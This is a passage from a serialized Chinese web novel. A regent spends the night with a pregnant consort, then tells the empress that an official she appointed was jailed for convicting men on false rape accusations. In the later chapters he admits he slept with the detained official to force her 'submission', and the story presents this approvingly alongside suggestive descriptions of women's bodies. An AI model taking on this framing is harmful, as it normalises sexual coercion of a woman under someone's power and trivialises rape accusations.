月妩的身材在众位夫人中也是出挑的,肩宽、胯骨丰盈而不过分,腰肢处却猛地收束,纤细得仿佛不堪盈盈一握。 两条修长的腿即使在卧姿下也能窥见优美的弧度,从被子里延伸出来。 林臻轻轻掩上门,放轻脚步走近床边。 他动作极为轻柔,几乎没有发出任何声音。 走近了,更真切地感受到那股属于月妩的、独特惑人的香气。 他站在床边,居高临下地欣赏了一会儿美人侧卧的睡姿,目光渐渐深沉。 他伸出手,并非直接去触碰床上人儿,而是轻轻撩开了锦被的一角。 温暖的被窝里,暖意和更浓郁的香气一同涌出。 月光透过帐幔缝隙,恰好照亮了被子下半掀开的部分。 只见月妩穿着丝质的薄薄亵裤,裤腿不知是因为睡梦中的不安分,还是睡前就没整理好,竟然从脚踝滑溜到了大腿根处! 一截光滑细腻得如同顶级绸缎的小腿,以及半截同样白皙修长、线条流畅的大腿肌肤,就这样毫无遮掩地暴露在清冷的月光和近在咫尺的灼热目光下! 那肌肤白皙如玉,在月光下似乎泛着柔和的微光,其上竟看不到一丝一毫的汗毛,触目所及皆是腻如凝脂、滑不留手的光洁。 林臻喉结微微滚动,眼中幽暗的光芒更盛。 他不再迟疑,直接伸出手,带着微凉的触感轻轻覆上了那裸露出来的、紧致细腻的小腿肚! 掌下肌肤温软滑腻,如同抚摸最上等的暖玉,没有汗毛的丝毫阻碍,那丝滑美妙的触感瞬间沿着指尖传遍了全身。 “啊——!” 一声短促尖锐、饱含惊惧的尖叫猛地划破了房间的寂静! 睡梦中的月妩瞬间惊醒,身体剧烈一颤! 她几乎是弹坐起来,惊惶地抱住自己的腿,心脏狂跳,脸色煞白! 惊恐万分的目光对上床边站着的、那个高大熟悉的身影时,这才惊魂稍定,紧接着一股被惊吓后的嗔怪和委屈涌上来。 “夫……夫君?!”月妩的声音带着尚未平息的惊颤和细微的哭音,她拍着胸口,嗔怪地瞪着林臻,“你来了怎么也不让丫鬟通报一声!就这么悄没声息地进来....吓死妾身了!” 她拉起被角,慌忙遮盖住自己裸露在外的腿。 “哈哈哈哈。”林臻看着她被吓得花容失色、此刻又羞又嗔的模样反而勾起嘴角,露出一抹邪气的大笑。 他顺势在床边坐下,伸手将她揽入怀中,手指却不安分地隔着被子再次滑向她的大腿外侧,声音低沉暧昧: “莫怕莫怕,是为夫不好,惊着我的妩儿了。” 他凑近她耳边,热气拂过敏感的耳垂,“不过,为夫今晚来,是想给你吃点特别的药,给你压压惊,顺便稳稳胎儿。” 月妩被他抱在怀里,感受到他胸膛的坚实温暖和那暧昧不明的话语,原本煞白的脸蛋瞬间飞起两抹鲜艳的红霞,如同盛开的桃花。 她羞不可抑,却又明白他话里的暗示,只能将脸颊埋进他肩窝处,鼻间发出蚊蚋般细小的应承: “嗯……都……都听夫君的……”声音柔得像融化的蜜糖。 林臻低笑一声,眼中得逞的笑意更深。 他不再多言,利落地开始解自己的外袍衣带…… ?…… 晨光微熹,窗纸透出朦胧的灰白色。 林臻在噬心蛊的作用下准时醒来,他今日要去皇宫面见女帝慕容嫣,将夏竹之事做个交代。 身边的月妩仍在熟睡,嘴角还残留着一丝甜美的笑意。 林臻小心翼翼地起身,尽量不惊动她。 很快,外间的贴身大丫鬟听到动静,低声询问后,便捧了温水毛巾进来伺候。 月妩也被细微的声响惊醒,揉着眼睛坐起来。 “夫君要走了吗?”她声音带着初醒的慵懒沙哑,分外撩人。 “嗯,得进宫。”林臻简洁答道,坐到梳妆台前的圆凳上。 月妩也顾不上再睡,披了件柔软的藕粉色薄纱外衣罩在亵衣外,便光着脚丫踩在地毯上,亲自拿起温热的湿毛巾,先给林臻净了面,然后拿起桃木梳子,站到林臻身后,极其温柔地为他梳理浓密的黑发。 巨大的水银镜框打磨得极光亮,映照出林臻棱角分明的面容和身后月妩专注轻柔梳发的样子。 她那宽松的外衣和亵衣下,胸口的饱满和腰肢的纤细曲线若隐若现,更因孕育了子嗣,小腹处有了一个微小的、柔软的隆起弧度,却丝毫不减其风韵,反而更添一种丰腴成熟的美感。 林臻透过铜镜,看着镜中自己挺拔的身姿和眉宇间的沉稳气度,又看了看身后温婉侍立的月妩,随口问道:“妩儿,你的酒楼近来经营得如何了?” 月妩正专注地为他束发,纤手翻飞熟练地打着发髻,闻言嫣然一笑,眉眼弯弯,如同春日暖阳下初绽的花朵:“劳夫君挂心,生意都好着呢。都是些老主顾,图个干净实惠。掌柜和伙计也都很尽心。” 她语气轻快,显然对那间寄托了心血的酒楼颇为满意。 林臻微微颔首,他的消息网自然清楚,月妩经营的那间酒楼,在王府庞大的商业版图中,实在算不得亮眼,甚至可以说是利润最微薄的一处。只因为她坚持面向普通食客,菜价公道,不搞那套谄媚奉承乡绅显贵的奢靡之风,自然进项有限。不过,相比于普通小贩,这酒楼的流水也足够惊人就是了。 第555章 这药也太苦了 “嗯,那就好。”林臻停顿了一下,透过镜子看着月妩的眼睛,“只是,做生意总归会有些是非麻烦。酒楼若有任何难处,或者遇上什么不长眼的敢去挑事的,你可千万别自己硬扛着。无论何时,都要立刻让人来王府告诉我!明白么?” 他的语气带着几分不容置疑的威严和庇护。 月妩心头一暖,眼中笑意更盛:“妾身知道啦,谢夫君惦念。” 她将最后一根玉簪插稳发髻,动作流畅而优美。 林臻继续问道:“我看你打理这家酒楼也有些心得,有没有想过再扩大些产业?”他指尖轻轻敲击着膝盖。 “比如我可以让张俪把你之前看的那个绸缎庄也分些账目给你管,或者从王府的商队里拨几条路子给你?” 月妩闻言,眼中闪过一丝明亮,但很快却又坚定地摇了摇头。 她站在林臻身后,双手轻轻搭在他肩头,身体微微前倾,声音温柔而诚恳,还带着一丝小小的骄傲: “妾身先谢过夫君好意。只是妾身现在有了身子,精神和精力都有限。光是打理好眼下这一间酒楼,确保它井井有条,已经颇有些捉襟见肘了。实在无力分心他顾。” 她的目光落在镜中林臻的眼睛上,带着深深的眷恋和满足:“而且,城西这间酒楼虽是小门面,不赚什么大钱,但毕竟是妾身一点点看着它走到今日的,从选址、聘人、定菜式,到迎来送往。里面的心血,妾身自己最清楚。它就像就像是我们共同的孩子一样重要。所以妾身是真的舍不得也顾不上去别的地了。” 这番话发自肺腑,带着一种小富即安的满足感。 林臻听罢,深深地看了镜中的月妩一眼,目光深邃,点了点头:“嗯,随你高兴就好。守好它,平安为上。” 梳洗已毕,林臻作势要起身。 “好,好,不说。”他眼底的笑意如同盛满了星子,亮得惊人,“那妩儿告诉为夫昨夜的药是苦是甜?好不好吃?” 霎时间,月妩所有的害羞都化作了柔肠百转的细吟。 她仰着小脸,看着近在咫尺的那双蕴含着无限戏谑的深邃眼眸,羞赧而大胆地轻声回应,吐气如兰:“都好吃……可妾身……妾身更贪恋被夫君喂药的时候。” 话一出口,她自己也觉得太过羞人,刚抬起一点的头瞬间又埋了回去,鸵鸟般蹭在他怀里,只露出一段晶莹红透的耳廓和天鹅般优美的后颈。 “哈哈哈哈。”林臻胸腔震动,发出愉悦无比的大笑声。 他收拢手臂,将她更紧地困在怀中,低头肆意品尝她羞红耳垂的滋味, “好了,真该走了。”林臻终于松开她,看着怀中佳人眼角眉梢尚未散尽的春情和红晕。 林臻利落地整理好身上那件象征无上权势的玄色蟠龙暗纹朝服,手指灵活而沉稳地扣好象征着威仪的玉带。 刚才那个沉醉温柔乡的浪荡子迅速隐匿,一种即将步入权力中心、沉稳如山岳、锐利如鹰隼的凝重气场在他周身弥漫开来。 俊朗的面容上一丝多余的笑意也无,只剩下不容置疑的冷肃。 他不再言语,也不再留恋,只最后深深地看了月妩一眼。 随即转身,迎着门外洒进来的、已变得明亮耀眼的金色晨光,大步流星地踏出了这座尚弥漫着未散尽旖旎温香的别院。 门在他身后轻轻关上,隔绝了内外的温度。 第556章 这是不是你干的 晨光穿透薄雾,金色的光柱斜斜洒在通往皇城的朱雀大街上。 一辆装饰着摄政王府徽记、黑漆金纹的巨大马车不疾不徐地行驶在空旷的长街上,蹄声清脆。 车内,林臻闭目养神,玄色蟠龙朝服的衣摆随着马车的轻微晃动而起伏。 他面容沉静,深邃的眼眸掩在微阖的眼帘之下,无人能窥见其半分思绪。 巍峨的宫门开启,庄严肃穆的钟鼓声在晨光中回荡。 群臣鱼贯而入,按品阶肃立在金銮殿宽阔的殿宇之内。 紫檀大柱高耸,金砖铺地,空气弥漫着龙涎香与权力交织的沉重气息。 殿上,女帝慕容嫣端坐于九龙盘绕的赤金凤椅之中。 今日她穿着一身明黄底、朱红镶边、刺绣百鸟朝凤纹样的隆重凤袍,头戴九凤衔珠朝冠,珠翠垂旒,遮住了大半光洁的额头,只露出下方那如画般精致却带着威严的容颜。 高耸的云鬓下,一张绝美脸庞不施太多粉黛,肌肤在烛光下泛着玉石般的微光。宽大的凤袍也掩不住那傲人的身材曲线,但此刻,那曲线正因她胸中翻腾的情绪而带着压抑的起伏。 御史大夫手持牙笏,站在丹陛之下,声音洪亮,字句清晰地奏报:“启奏陛下,御史台前日依律羁押了前蓬莱县县令夏竹。此案现已发交三司详查,以待会审。” “夏竹?!” 慕容嫣本来今天心情极好的准备上朝,可谁知刚坐下就听到这样的消息。 她猛地抬眼,被垂旒遮挡的目光锐利如电,瞬间穿透那薄薄的金翠帘幕,射向阶下的御史大夫! 凤袍下,那对在朝服束缚下依旧显得异常丰硕饱满的胸脯猛地一个剧烈的起伏,带动着朝冠上的珠翠都跟着一阵细微的、令人心惊的震颤。 她甚至忘记自称“朕”,声音因震惊和愤怒而陡然拔高,带着一丝撕裂的尖锐: “你说谁?蓬莱县令夏竹?!” 她怎么也无法相信自己的耳朵! 这个被自己秘密从寒门才女中简拔出来,亲自派往蓬莱县作为女子为官试点的希望,居然是羁押了? 这可是她准备推行新政、为天下女子开路的象征! 她本以为凭着夏竹过人的才华和敏锐,定能在蓬莱做出一番成绩,堵住悠悠众口! 可这才多久?三个月!御史台居然把她给抓了?!还是三司会审? 巨大的失望和被背叛的感觉袭来,让她脸色瞬间变得极其难看,朱唇紧抿,饱满的胸脯因急促的呼吸而剧烈地一起一伏,那宽大的凤袍都似乎被绷紧,勾勒出底下令人心惊的怒意波动。 一股邪火直冲脑门,怎么压都压不住。 “即刻!给朕把她带进宫来!朕要亲自问话!朕倒要看看,朕亲手选的人,才三个月就干了些什么!!”慕容嫣猛地抬手,葱白的指尖因为用力而微微发白,指着殿外,凤袍袖口带起一阵凌厉的风声。 御史大夫被女帝突如其来的怒火震得心神剧颤,冷汗瞬间就下来了。 他慌忙躬身,声音带着抑制不住的颤抖:“陛下息怒!陛下息怒!依…依照大乾律例,犯官须得三司会审完毕,供词罪状明晰呈报御前,陛下方可定夺啊!此刻直接召见,于规制不合,恐怕……” “啪!!!” 一声清脆而令人心悸的巨响在寂静的大殿中陡然炸开! 慕容嫣竟一掌重重拍在了坚实的凤案之上! 案上的茶盏、笔架都被震得跳了一跳! 那白玉般的纤掌与坚硬的黑檀木相击,发出一声让人牙酸的脆响,巨大的力道震得她自己掌根都是一阵刺麻! 她霍然站起! 明黄色的凤袍如同愤怒的火焰般在阶上展开! 垂旒下的凤眸如同烧红的烙铁,死死盯着阶下的御史大夫,一字一顿,每个字都像是从牙缝里挤出来的:“朕现在就要见夏竹!” 她略一停顿,声音更沉:“等朕了解了情况之后再交给御史台!” 那扑面而来的帝威,沉甸甸地压向御史大夫! 他那点搬弄律条的胆气在绝对皇权的滔天怒火面前,瞬间土崩瓦解,连残渣都不剩! “臣遵旨!臣这就去!这就去传旨!”御史大夫几乎是连滚爬地退后几步,然后转身,跌跌撞撞地冲出殿去传旨。 背影狼狈不堪。 慕容嫣胸口依旧剧烈起伏着,那股郁结的怒火无处宣泄。 她猛地一挥宽大的凤袍袖摆,声音带着压抑的火气,传遍大殿:“退朝!” 无舌山呼:“退朝!!” “吾皇万岁万万岁!” 群臣噤若寒蝉,整齐地躬身行礼,如同退潮般悄然有序地退出了这令人窒息的大殿。 脚步声中,一直立在文臣最前列,仿佛一座沉默山岳的林臻,缓缓睁开了眼睛。 他没有立刻随众退下,深邃的目光穿过空旷的大殿,落在丹陛之上那道明黄色的身影上。 直到慕容嫣带着一身压抑的怒火和沉重的落寞,脚步有些急促地转身,从殿后龙屏的侧门离开后,林臻这才不疾不徐地抬步跟了上去。 他的步履沉稳,身姿挺拔,在寂静的回廊中如同无声的影子,不远不近地缀在那明黄色的身影之后。 通往内宫的回廊曲折幽深,高大的红漆圆柱支撑着雕梁画栋。 初夏清晨的风带着点未散尽的凉意,吹拂着廊下悬垂的竹帘,发出轻微的碰撞声。 阳光透过精雕的窗棂,在地上投下菱形的光斑。 慕容嫣步子迈得又急又重,凤袍长长的后摆拖曳在光洁如镜的金砖地面上。 她心绪难平,根本没有留意身后不远处跟随的脚步声。 林臻跟在她身后不过三五步的距离,那熟悉得刻入骨髓的体香,混杂着清冷的龙涎和一点点因情绪激动而分泌出的、类似玫瑰的暖甜气息,丝丝缕缕地,无比清晰地飘荡在空气中,钻进他的鼻腔,萦绕不散。 这独特的气息,每一次都让他心头微动。 见慕容嫣转过一道雕花的月洞门,走向通往御花园的一条更僻静的回廊,四下无人。 林臻骤然加快脚步,瞬间缩短了距离。 在慕容嫣即将迈上通往旁边水榭的台阶时,他出手抓住了她纤细的手腕! “嫣儿。”低沉而熟悉的男声在她耳边响起。 慕容嫣猝不及防,身体随着手腕被抓住而猛地一颤! 她像是受惊的凤凰,恼怒地回过头,明黄色的凤袍袖摆用力一甩! “松开!”她声音冰冷,带着尚未平息的怒气。 看清是林臻,那双被怒火烧灼得越发明亮的凤眸死死瞪着他,里面充满了质问、失望和深深的怀疑:“夫君!你说!这件事是不是也是你做的?!” 她的目光如同最锋利的探针,试图刺穿他深不见底的眼眸。 林臻迎着她愤怒的目光,没有半分闪躲,反而微微叹了口气,那表情带着一丝恰到好处的无奈与无辜。 他轻轻捏了捏她被他抓在掌心的手腕内侧,动作亲昵而自然。 “嫣儿,我冤枉啊。”他语气低沉平缓,“你派夏竹去蓬莱县,这事从头到尾连风声都没让我知道。我远在京城,对她在蓬莱县所为毫不知情,这怎么能怪我身上来呢?” 他摊开另一只手,做出一个无辜的姿态,眼神坦荡地看着她。 慕容嫣被他这么一问,那股子几乎要把人点燃的邪火猛地滞了一滞。 对啊……这件事,自己当初不正是怕他反对,才特意绕开了他,直接用了自己的密旨,快马加鞭把夏竹安排过去的吗? 想到这里,她胸中那股冲天的怒气登时消了大半,起伏剧烈的胸口也渐渐平稳了下来,丰盈的曲线在明黄凤袍下恢复了平缓。 眼神里的愤怒和质问,也慢慢化作了被戳穿掩饰的淡淡窘迫和一丝不易察觉的理亏。 只是那俏脸依旧绷得紧紧的,带着点小性子的赌气。 第557章 你睡她是为了我? 林臻感受到她手腕处肌肉不再那么紧绷,顺势松开了手,却无比自然地改为牵起她那只柔软微凉的手。 掌心相贴,十指轻柔地扣住。 慕容嫣象征性地挣了挣,但林臻握得很稳,带着安抚的暖意,她便也不再挣脱,任由他牵着。 那股被他攥在掌心的奇妙安全感,让她残存的最后一点不快也悄悄溜走。 两人就这样沉默地携手并肩,沿着临水曲折的回廊,缓缓漫步。 微风拂过廊下清澈的池水,带来带着水气的凉意和草木的清香。 阳光透过稀疏的树叶,在他们相携的衣袍上投下斑驳摇曳的光影。 那份剑拔弩张的气氛,在无声的携手漫步间悄然溶解。 最终,他们走到一处被浓密花木环绕的、小巧雅致的凉亭里。 亭子四面敞轩,垂着竹帘,中央摆放着一张汉白玉石桌和两个锦墩。 四周静谧,只闻虫鸣鸟叫,流水淙淙。 慕容嫣当先在锦墩上坐下。 林臻也坐在她旁边,两人依旧手牵着手。 亭内的微风更为惬意,吹散了她眉宇间最后那点焦躁。 “夫君,”慕容嫣终于打破了沉默,声音恢复了平静,但语气里依旧带着一丝不甘和浓浓的不解,“这件事情是朕的不对,当初不应该瞒着你。可是夏竹她是先帝一朝就颇负盛名的才女啊!诗词歌赋,政论经义,无一不精!朕看过她当年的策论文章,忧国忧民,思虑缜密,满朝文官都鲜有能及!这样的人,她怎么就被御史台给抓了呢?” 她越说越觉得不合理,声音不由带上了几分愤慨,“定是下面那些胥吏小吏!那些守旧迂腐之辈见不得有女子压在他们头上当县令!私下里故意刁难,暗中使绊子,做局来陷害于她!哼!若被朕查出来是谁在背后捣鬼。朕定要诛他九族!灭他满门!” 林臻安静地听着她的推断,握着她的手一直没有松开。 等她说完,目光灼灼地盯着自己,才缓缓摇了摇头,眼神深邃而平静: “嫣儿,你的猜测不无道理,底下的人看不惯女子为官,想找麻烦是可能的。” 他顿了顿,语气变得沉重,“但,这件事情虽非我直接下手,却终究与我脱不开干系。” 慕容嫣的眸光骤然一凝! 带着探询和一丝刚刚压下的怒火复燃的苗头。 “而且,”林臻的声音带着一种不容置疑的确定性,“你派去的夏竹,有才是不假。但……她太过偏执了。” 迎着慕容嫣骤然缩紧的瞳孔,他继续道:“她和你一样,都有一颗为天下女子争一片天地的心。这本没有错。错就错在她太过急切,太过偏激。尤其是在男女之事的判罚上,她是无条件的偏袒女子。” 林臻的声音不高,却字字清晰地在安静的亭子里回荡:“她的所谓袒护女子已经超越了公正的界限。在任期间,对涉及男女纠纷的案子,尤其是被控为强奸的案子,她几乎不听辩驳,一味采信女子一方之言,甚至不问缘由,不问证据,动辄重判。许多清白男子,仅仅因为被女子构陷,便因此身败名裂,锒铛入狱,乃至家破人亡!” “胡说!”慕容嫣下意识地反驳,但林臻那沉静的目光和笃定的语气让她心头一虚,“她怎会如此?!夫君你莫要诬陷好人!” “诬陷?”林臻轻轻叹了口气,“嫣儿,若非有真凭实据,我又岂会在这等大事上骗你?” 他抬眼,目光穿过亭角的飞檐,似在回忆。 “若非是报社的主编陈墨...唉,你也知道的,他虽是文人,可最是谨慎持重,轻易不开口求人。他前些日子找到我府上,心急如焚地向我诉说了一件切肤之痛。” 林臻的声音带着一种讲述他人惨事的平缓,却更能激起波澜:“他说,他的小舅子,一个本分老实的小贩,在蓬莱县被一个女子控告强奸。夏竹接手此案,根本不听辩驳,不察证据,仅凭那女子一面之词,就将人判了个斩监候!幸得陈墨动用关系暂时保了下来,可名声已经彻底毁了。” 他看着慕容嫣越睁越大的眼睛:“当时陈墨向我哭诉,我第一反应也和你一样——是否有人诬陷这位县令?或者是否当地豪绅构陷他小舅子?但此事既已捅到我这里,我不得不慎。于是派人去查,没有大张旗鼓,而是微服私访,秘密查探蓬莱县衙近日来的案卷。” 林臻的眼神变得锐利:“这一查才发现,夏竹在蓬莱仅仅三个月的任期内,此类被定为强奸、证据薄弱乃至事后证明属虚构的案件,竟已发生了六起之多!这还不包括因她的判决方式引起巨大争议而被压下的!更让人心惊的是,在这六起案子里,竟无一起她认真核查过物证、仔细盘问过被告!几乎都是轻信控告,迅速定案,手段雷霆!” 他语气沉重,一字一句: “我知道她是真心想为女子张目。可她用错了方式,也走了极端。她不是在公正裁决,而是在利用手中的权柄,用男子的鲜血和白骨去为她心中那个男女秩序重整的理想奠基。长此以往,蓬莱县必将民心尽失,怨声载道,甚至激起民变!到那时,嫣儿,你这女子为官、革新弊政的一着妙棋就成了催生民怨、动摇国本的臭棋了!这便是为何御史台中丞在我授意下,直接将她带回京城的根本缘由!不是陷害她,而是阻止她捅出更大的篓子!” “这....怎么会这样呢?夫君,为何她判的错案竟有如此之多?”慕容嫣听着林臻那不容置疑的陈述和沉痛的剖析,整个人如同被抽空了力气,瞬间颓然下来,脸色也微微发白。 她一直引以为傲的女青天,私下里行事竟如此酷烈偏颇,酿成这般惨案?! 巨大的失望如同冰冷的潮水,瞬间淹没了她。 她下意识地伸出手,想要抓住什么支撑。 旁边侍立、一直屏息凝神的贴身女官麝月,立刻机敏地奉上一盏温热的参茶。 慕容嫣接过那暖手的茶盏,指尖冰凉,茫然无措地看着杯中漂浮的参片,仿佛最后一丝侥幸也被击碎了。 她声音带着一丝不易察觉的颤音和茫然:“夫君,真的都是冤案吗?有没有可能漏了什么?” “千真万确。”林臻斩钉截铁地回答,“每一起都有人证物证可查。夏竹有才,也有大志,和你一样渴望改变。但她错了方向,也被急于求成蒙蔽了理智。” 看到慕容嫣失魂落魄的样子,林臻的声音放柔了些,带着一种引导和承诺:“你放心。事情既然已经发生,我们就要让它朝着好的方向走。我已经找她谈过了。” 听到“谈过”二字,慕容嫣端着茶盏的手微微一顿,抬起眼帘看向他。 林臻继续说道:“三司会审之后,她会被暂时安置在王府里。” “王府?”慕容嫣的声音陡然拔高,带着一丝警惕。 “对。”林臻点头,语气平静无波,“她在王府学习,反思,沉淀。我会亲自教她,什么是真正的为官之道,什么是真正的公正,如何在保护弱势的同时不践踏律法的准绳。如何在规则之内达成目标。等学成过后再让她去武清县上任,但她不能再任县令,起步必须是县丞。” 他目光深沉地看着慕容嫣:“这是在惩戒她之前的过失。同时,也是给她一个戴罪立功的机会。如果她在武清县丞的位置上,能沉下心来,做出真实的政绩,证明她已褪去浮躁,理解了责任与担当,那么我会助她复起,你重用女官的计划依旧大有可为。如果她再搞砸了……” 林臻的声音陡然冷了下去:“那么,女官这条路,在大乾也就到此为止了。我们谁都不会再给她第三次重击新政根基的机会!” 这番话,如同暗夜里的明灯,瞬间为迷茫的慕容嫣指明了方向。 也让她明白,林臻并非是在打击她的新政,而是在用一种她未曾想到的方式,去挽回,去夯实! 第558章 最少五次 慕容嫣沉默良久,杯中温热的参茶也渐渐凉了。 她忽然深深叹了口气,像是放下了千钧重担。 她放下茶盏,伸出手,主动握住了林臻放在石桌上的那只温热宽厚的手掌。 她的声音带上了一丝疲惫和歉意,还有深深的依赖: “唉,夫君啊,妾身也是个女子,身在这九五之位,却总也想为天下女子争一口气,哪怕...哪怕步子走得急了些……”她抬起那双漂亮的凤眸,里面盛满了复杂的情绪,有愧疚,有感激,也有被点醒后的释然,“你别怪妾身。” 林臻反手将她的柔荑完全包裹在自己掌心,轻轻摩挲着她的手背,声音低沉而温和: “你我夫妻一体,我怎会怪你?你的想法、你的理想,何尝不是我愿助你去实现的?如果不是因为你推行新政的这层情分在,像夏竹这样草菅人命、偏执误国的官员我早就将其明正典刑,以儆效尤了。昨天……也不可能对她……” “昨天?不可能怎样?!”慕容嫣是何等的敏锐! 林臻话里那一点点的停顿和未尽之意,瞬间被她捕捉! 她那刚刚平和下去的眼神猛地盯住林臻,带着迫人的气势! 女人的直觉让她心中警铃大作!“说清楚!昨天你对她怎么了?!嗯?” 林臻张了张嘴,又瞬间闭上。 他脸上那惯常的掌控神色罕见地出现了一丝微不可察的闪烁。 这细微的回避,如同一瓢冷水浇在了慕容嫣刚被安抚下去的疑虑之火上! “林臻!”慕容嫣的声音陡然拔高,带着被欺骗和震惊的怒火。 “你,你该不会是把夏竹怎么样了吧?!” 她气得话都说不连贯了,饱满的胸脯再次剧烈起伏起来,凤目圆睁,里面燃烧着熊熊的怒火! 见他不说话,她猛地甩开他的手! 拍案而起! “你怎么可以这样!”她指着林臻,手指都在颤抖,气得俏脸通红,几乎口不择言。 “再说!她都三十多岁了!一个老姑娘有什么好的?你有时间也不知道进宫多陪陪朕!哄哄朕,居然去跑去御史台那种地方睡一个老姑娘?!你还有没有点廉耻?!” 亭子里瞬间静得落针可闻! 麝月吓得脸色煞白,差点端不住手中的茶盘,赶紧低下头不敢再看。 面对妻子的震怒和这般不留情面的指控,林臻非但没有惊慌,反而微微皱起了眉头,像是承受着某种委屈,但眼神深处却是一片冷静。 他叹了口气,声音带着一种无奈又夹杂着“为你牺牲良多”的深意: “嫣儿,你先别急着骂。我这不也是为了你吗?” “为我?!”慕容嫣简直要被气笑了,声音尖锐,“你睡夏竹,跟为朕有什么关系?!胡说八道!你这分明就是借口!你就是……就是色迷心窍了!” “怎么没有关系?!”林臻声音也提高了几分,带着一种被误解的急切和理所当然的分析,“这其中的关系大得很!” 他站起身,逼近一步,目光紧锁着慕容嫣愤怒的凤眸:“嫣儿你想!夏竹是什么人?是傲骨铮铮的才女不假,更是心高气傲、认定方向便九头牛都拉不回头的主!昨天我去见她,你是没看见她那样子,就算被关在御史台,那双眼睛看人的时候,还带着恨不得把男人踩在脚下的光!倔得像块硬邦邦的石头!” 林臻手指轻轻点着自己的太阳穴,眼神如同最精明的猎手在复盘计划。 “你以为光靠言语说教,靠我给她画个大饼——‘去武清县好好干,本王看好你’,她就会乖乖听话,收起她那套偏激的作风,按照你想要的‘为女官正名’这条路走?不可能!她只会觉得是我在给她洗脑,是我在压制她!心中只会更憋着一股‘你们男人都是障碍’的戾气!一旦她到了武清,她只会更加变本加厉!到时候以武清县的特殊位置,紧邻京师,鱼龙混杂,她再搞出几桩冤假错案,激起民变或士林滔天反对,嫣儿!” 林臻的声音陡然严厉起来:“那才叫真正的搬起石头砸你自己的脚!整个推行女官的计划,将被她夏竹一人毁于一旦!再无转圜余地!朝堂上那些本就蠢蠢欲动、对女子为官不满的官员会立刻上表,你我所谋之事,将功亏一篑!” 一番话语,如同最锋利的解剖刀,将残酷的现实层层剥开。 他缓了口气,声音放低,带着一种不容置疑的掌控力: “所以,只有用一种最直接、最彻底的方式!让她明白!她是谁的人!她未来要走的路掌握在谁的手里,让她骨子里那份对着干的力量彻底瓦解!让她知道——你慕容嫣的路,就是我林臻的路!她为女官之路奋斗,本质上就是在为我林臻做事!必须按照我的规划走!” 林臻微微靠近慕容嫣,声音低沉而充满蛊惑,又带着一丝不容置疑的强势: “而这个方式,没有什么比让她从身体到灵魂都彻底臣服于我,更有效!更直接!更能确保她不会再生出二心,不会在武清再砸我们的台!现在你明白了吗?嫣儿。我睡她,不是为了别的,就是为了确保你的新政,能够稳稳当当走下去!是为了掐灭那可能燎原的最后一颗火星!” 慕容嫣怔怔地站在原地,听着林臻这翻看似“大义凛然”、“牺牲小我”实则逻辑严密又冷酷无比的剖析,那股冲天的怒火竟如同冰雪消融般,一点点地……泄了下去。 她心中的震撼无以复加。 她明白,他说的是真的!夏竹的性格确实有可能做出那种宁为玉碎不为瓦全的事。 而一旦事情失控到林臻描绘的地步。 后果不堪设想! 理智告诉她,林臻的做法也许真的是最稳妥的、唯一能控制住夏竹这种人的方法。 可……可这手段……这手段本身! 她心里那点别扭和作为女人的醋意却无论如何也消除不了! 尤其是想到自己的丈夫,跑去用那种方式收服另一个女人,即使是为了所谓的“大计”,她还是觉得像吞了只苍蝇般膈应难受! 她不再怒骂,但也没再说话。 紧抿着唇,将脸倔强地扭向一边,不去看林臻那志得意满、仿佛立下大功的样子。 林臻想再去拉她的手,也被她“啪”地一下用力甩开! 她重重地坐回锦墩上,背对着林臻,只留给他一个绷直的、写着“我很生气但是不知道该怎么反驳你”的背影。 饱满的胸脯随着急促的呼吸,在凤袍下剧烈起伏着。 林臻看着她这副气鼓鼓、却又无处发泄的别扭样子,眼底深处掠过一丝不易察觉的笑意。 他绕到她面前,微微俯身,凑近她通红的耳朵,带着一丝暧昧的讨好和试探性的安抚: “好啦嫣儿,别生气了?嗯?晚上为夫好好陪陪你,给你消消气,如何?” “哼!”慕容嫣猛地回过头,狠狠地瞪了他一眼,那眼神又羞又恼,还带着一丝被戳破心思的慌乱。 但下一瞬,在巨大的醋意和被牺牲感的双重刺激下,竟脱口而出一个极其彪悍的条件: “一次不够!最少五次!” 第559章 十次!为夫也依你 此言一出,连站在亭角假装不存在的麝月都猛地肩膀一耸,差点把茶盘掉地上! 她死死低着头,恨不得把脸埋进地里! 脸瞬间红得像煮熟的虾! 林臻也是微微一愣,随即脸上的愕然瞬间化为一种狂放不羁的邪魅笑意! 他甚至夸张地抬手,用拇指用力按了一下自己那强健得如同猎豹般的胸膛,发出“嘭”的一声闷响! 那姿势充满了绝对的自信和野性的张狂! “只要嫣儿你要,别说五次!十次!为夫也依你!” 慕容嫣被他这霸道直接又羞死人的回答弄得脸上红霞更盛! 她本想绷着脸斥责他两句,可那刻意板起的俏脸如同冰雪遇到烈阳,瞬间就绷不住了! 唇角无法抑制地向上弯起,明明想藏,那眼底深处压也压不住的笑意,早已如同春光般泄了满眼! 她飞快地、极有风情地飞了他一个白眼,狠狠地哼了一声,便将头又扭了过去,肩膀几不可察地微微耸动了一下。 那“哼”声里,哪还有半分怒气? 分明是又羞又恼又带着点说不清道不明期待的娇嗔嘛! 恰在此时,回廊远处传来一阵刻意放轻的脚步声。 麝月如蒙大赦,赶紧抬眼望去,随后快步走到亭边,低声道:“启奏陛下、世子,夏竹已带到。” 话音落下,只见一名女官引领着一个人影,沿着回廊逶迤而来。 夏竹依旧穿着昨日在御史台的那身洗得发白、略显宽大的青色布衣,长发简单地挽着,用一根最普通的木簪固定。 她低垂着头,走到亭外阶下,姿态恭敬而规矩地双膝跪倒,额头触碰到冰凉的金砖地面: “微臣夏竹,叩见陛下。吾皇万岁,万岁,万万岁。”声音清冷平静,听不出太多情绪。 慕容嫣脸上的红晕迅速退去,重新恢复女帝的威仪和一丝淡淡的疏离。 她清了清嗓子,努力维持着声音的平稳:“平身吧。” “谢陛下。”夏竹叩谢后,缓缓起身,垂手而立。 当她抬起眼,目光扫过亭内,不可避免地掠过站在慕容嫣身旁的林臻时,身体几不可察地微微一僵! 如同被无形的电流击中! 她的目光只在他身上停留了极其短暂的一瞬,便如同受惊的兔子般飞快地垂了下去! 长长的睫毛剧烈地颤动了几下,白皙的侧脸上甚至瞬间掠过一丝不自然的红晕! 那眼神里蕴含的复杂情绪,以及那一瞬间的羞赧和难以言喻的慌乱感……简直就像是偷情被抓了个现行,无处遁形! 这一瞬间细微到极致的反应,如何能逃过慕容嫣的眼! 她心头那点刚刚被林臻安抚下去的醋意和不舒服感,如同被投入石子的水面,又泛起了圈圈涟漪。 她没好气地,带着一丝难以形容的恼怒和了然瞥了夏竹一眼,声音也冷了几分:“起来回话吧。你和世子之间的事情,世子和朕都已知晓。” 这话仿佛一道无声的鞭子,抽打在夏竹身上。 